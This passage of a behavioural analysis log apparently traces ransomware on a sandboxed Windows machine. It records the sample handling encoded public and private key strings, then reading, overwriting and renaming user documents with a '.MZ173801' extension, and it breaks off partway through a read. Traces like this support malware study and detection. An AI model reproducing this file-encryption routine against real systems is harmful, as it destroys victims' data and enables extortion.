lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0167.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0167.594] GetCurrentThreadId () returned 0xab4 [0167.594] GetCurrentThreadId () returned 0xab4 [0167.594] GetCurrentThreadId () returned 0xab4 [0167.594] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\bx_sreHB6g Fc-Lx.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\bx_srehb6g fc-lx.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0167.595] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0167.595] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0167.595] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x131c8 [0167.595] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0167.595] ReadFile (in: hFile=0x278, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x131c8, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x131c8, lpOverlapped=0x0) returned 1 [0167.596] CloseHandle (hObject=0x278) returned 1 [0167.598] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\bx_sreHB6g Fc-Lx.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\bx_srehb6g fc-lx.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0167.600] WriteFile (in: hFile=0x278, lpBuffer=0x24b4040*, nNumberOfBytesToWrite=0x131c8, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24b4040*, lpNumberOfBytesWritten=0x19fa24*=0x131c8, lpOverlapped=0x0) returned 1 [0167.603] CloseHandle (hObject=0x278) returned 1 [0167.633] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\bx_sreHB6g Fc-Lx.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\bx_srehb6g fc-lx.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\bx_sreHB6g Fc-Lx.xlsx.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\bx_srehb6g fc-lx.xlsx.mz173801")) returned 1 [0167.634] GetCurrentThreadId () returned 0xab4 [0167.634] GetCurrentThreadId () returned 0xab4 [0167.634] GetCurrentThreadId () returned 0xab4 [0167.634] GetCurrentThreadId () returned 0xab4 [0167.634] GetCurrentThreadId () returned 0xab4 [0167.634] GetCurrentThreadId () returned 0xab4 [0167.634] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3340555c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3396299d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x9daec75b, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x55000, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Database1.accdb", cAlternateFileName="DATABA~1.ACC")) returned 1 [0167.634] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0167.634] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0167.634] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3340555c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3396299d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x9daec75b, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x55000)) returned 1 [0167.634] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb")) returned 0x20 [0167.634] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb", dwFileAttributes=0x80) returned 1 [0167.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0167.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321061c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0167.640] GetCurrentThreadId () returned 0xab4 [0167.640] GetCurrentThreadId () returned 0xab4 [0167.640] GetCurrentThreadId () returned 0xab4 [0167.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0167.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x322167c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0167.641] GetCurrentThreadId () returned 0xab4 [0167.641] GetCurrentThreadId () returned 0xab4 [0167.641] GetCurrentThreadId () returned 0xab4 [0167.641] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0167.641] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0167.642] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0167.642] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x55000 [0167.642] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0167.642] VirtualAlloc (lpAddress=0x0, dwSize=0x60000, flAllocationType=0x101000, flProtect=0x4) returned 0x7fe50000 [0167.642] ReadFile (in: hFile=0x278, lpBuffer=0x7fe50010, 